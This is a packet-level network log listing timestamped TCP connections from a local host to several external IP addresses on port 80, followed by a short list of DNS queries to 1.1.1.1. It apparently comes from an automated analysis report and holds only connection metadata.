Aug 29, 2023 22:49:48.563718081 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:48.738375902 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:48.738600969 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:48.738707066 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:48.913434982 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.012411118 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.012485981 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.012543917 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.012599945 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.012654066 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.012706995 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.012715101 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:49.012849092 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.012859106 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:49.012908936 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.012931108 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:49.013051033 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.013091087 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:49.013108969 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.013281107 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:49.187170029 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.187253952 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.187310934 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.187366009 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.187412024 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:49.187421083 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.187477112 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.187532902 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.187587976 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.187642097 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.187642097 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:49.187691927 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:49.187697887 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.187767982 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.187805891 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.187813044 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:49.187937021 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:49.188144922 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.188203096 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.188258886 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.188313961 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.188366890 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.188397884 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:49.188421011 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.188486099 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:49.188618898 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.188672066 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:49.188683987 CEST	80	50047	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:49.188883066 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:50.250673056 CEST	50047	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.266324997 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.438088894 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.438348055 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.438985109 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.439069986 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.439115047 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.611040115 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.611103058 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.611144066 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.611280918 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.611357927 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.611386061 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.611443043 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.611599922 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.611661911 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.611787081 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.611943007 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.611943960 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.611989975 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.612166882 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.612324953 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.783730030 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.783787012 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.783827066 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.783869982 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.783910036 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.783978939 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.784096003 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.784123898 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.784147024 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:51.784288883 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.784522057 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.784629107 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.786290884 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.787419081 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.789473057 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.956052065 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.956129074 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.956170082 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.956207991 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.956513882 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:51.957026005 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.066481113 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.066551924 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.066606998 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.066664934 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.066720009 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.066773891 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.066778898 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.066849947 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.066869020 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.066919088 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.066951036 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.067259073 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.067281961 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.067343950 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.067557096 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.238544941 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.238591909 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.238643885 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.238763094 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.238774061 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.238907099 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.238976955 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.239044905 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.239052057 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.239111900 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.239147902 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.239177942 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.239253998 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.239407063 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.239413023 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.239455938 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.239484072 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.239552021 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.239624977 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.239721060 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.239762068 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.239770889 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.239830971 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.240016937 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.240045071 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.240112066 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.240233898 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.240272999 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.240400076 CEST	80	50048	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:52.240552902 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:52.953084946 CEST	50048	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:53.968805075 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.140971899 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.141252041 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.141308069 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.312985897 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.406542063 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.406637907 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.406703949 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.406789064 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.406884909 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.406945944 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.407010078 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.407010078 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.407023907 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.407103062 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.407130003 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.407170057 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.407253027 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.407358885 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.407458067 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.578991890 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.579068899 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.579127073 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.579180956 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.579235077 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.579288960 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.579322100 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.579322100 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.579344034 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.579401016 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.579576969 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.579597950 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.579654932 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.579704046 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.579763889 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.579857111 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.580033064 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.580077887 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.580148935 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.580214977 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.580367088 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.580492973 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.580637932 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.580709934 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.580766916 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.580821037 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.580881119 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:54.581037998 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.581037998 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.581038952 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.581231117 CEST	50049	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:54.753607988 CEST	80	50049	162.0.239.145	192.168.11.20
Aug 29, 2023 22:50:18.916410923 CEST	50052	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:19.011143923 CEST	80	50052	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:19.011343956 CEST	50052	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:19.011450052 CEST	50052	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:19.105997086 CEST	80	50052	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:19.106026888 CEST	80	50052	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:19.106184959 CEST	80	50052	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:19.106340885 CEST	50052	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:20.525212049 CEST	50052	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:21.540872097 CEST	50053	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:21.637837887 CEST	80	50053	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:21.638020992 CEST	50053	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:21.638175011 CEST	50053	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:21.734877110 CEST	80	50053	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:21.734949112 CEST	80	50053	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:21.734993935 CEST	80	50053	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:21.735133886 CEST	50053	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:23.149518967 CEST	50053	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:24.165323973 CEST	50054	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:24.261873960 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.262178898 CEST	50054	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:24.262764931 CEST	50054	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:24.359260082 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.359368086 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.359431028 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.359456062 CEST	50054	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:24.359554052 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.359627962 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.359707117 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.359790087 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.359806061 CEST	50054	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:24.359889984 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.359934092 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.359982014 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.456366062 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.456450939 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.456499100 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:24.456538916 CEST	80	50054	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:26.789668083 CEST	50055	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:26.887332916 CEST	80	50055	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:26.887540102 CEST	50055	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:26.887608051 CEST	50055	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:26.985169888 CEST	80	50055	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:26.985241890 CEST	80	50055	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:26.985289097 CEST	80	50055	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:26.985627890 CEST	50055	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:26.985682964 CEST	50055	80	192.168.11.20	51.79.96.115
Aug 29, 2023 22:50:27.083292007 CEST	80	50055	51.79.96.115	192.168.11.20
Aug 29, 2023 22:50:31.991739035 CEST	50056	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:32.001703024 CEST	80	50056	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:32.001974106 CEST	50056	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:32.002074003 CEST	50056	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:32.011951923 CEST	80	50056	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:32.184415102 CEST	80	50056	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:32.184495926 CEST	80	50056	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:32.184562922 CEST	80	50056	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:32.184705019 CEST	50056	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:32.184705019 CEST	50056	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:33.506619930 CEST	50056	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:34.522413969 CEST	50057	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:34.532458067 CEST	80	50057	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:34.532763958 CEST	50057	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:34.532855988 CEST	50057	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:34.542773008 CEST	80	50057	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:34.628793001 CEST	80	50057	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:34.628901005 CEST	80	50057	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:34.628962040 CEST	80	50057	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:34.629117966 CEST	50057	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:34.629196882 CEST	50057	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:36.037415981 CEST	50057	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.285855055 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.296303034 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.296612978 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.297097921 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.297185898 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.307507038 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.307564974 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.307641983 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.307662010 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.307713985 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.307811975 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.307859898 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.307904005 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.307935953 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.308037043 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.308120012 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.308161974 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.308288097 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.308351040 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.318340063 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.318397999 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.318439007 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.318479061 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.318511963 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.318561077 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.318605900 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.318753004 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.318780899 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.318836927 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.318878889 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.319000959 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.319051981 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.319132090 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.319145918 CEST	50058	80	192.168.11.20	169.150.247.39
Aug 29, 2023 22:50:44.319252014 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.319298029 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.319363117 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.319438934 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.319511890 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.319569111 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.319608927 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.319648027 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.319685936 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.319725037 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.328816891 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.328924894 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.329854965 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.329912901 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.329953909 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.330049038 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.330091953 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.330496073 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.330569983 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.330610991 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.330652952 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.330691099 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.396184921 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.396214962 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.396239042 CEST	80	50058	169.150.247.39	192.168.11.20
Aug 29, 2023 22:50:44.396392107 CEST	50058	80	192.168.11.20	169.150.247.39

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2023 22:43:02.494046926 CEST	64002	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:43:02.507920027 CEST	53	64002	1.1.1.1	192.168.11.20
Aug 29, 2023 22:43:03.091398954 CEST	65395	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:43:03.123847008 CEST	53	65395	1.1.1.1	192.168.11.20
Aug 29, 2023 22:44:20.263657093 CEST	52617	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:44:21.152700901 CEST	53	52617	1.1.1.1	192.168.11.20
Aug 29, 2023 22:44:36.680552006 CEST	57495	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:44:36.700371027 CEST	53	57495	1.1.1.1	192.168.11.20
Aug 29, 2023 22:44:50.035767078 CEST	62239	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:44:50.063929081 CEST	53	62239	1.1.1.1	192.168.11.20
Aug 29, 2023 22:45:03.798327923 CEST	64730	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:45:03.815787077 CEST	53	64730	1.1.1.1	192.168.11.20
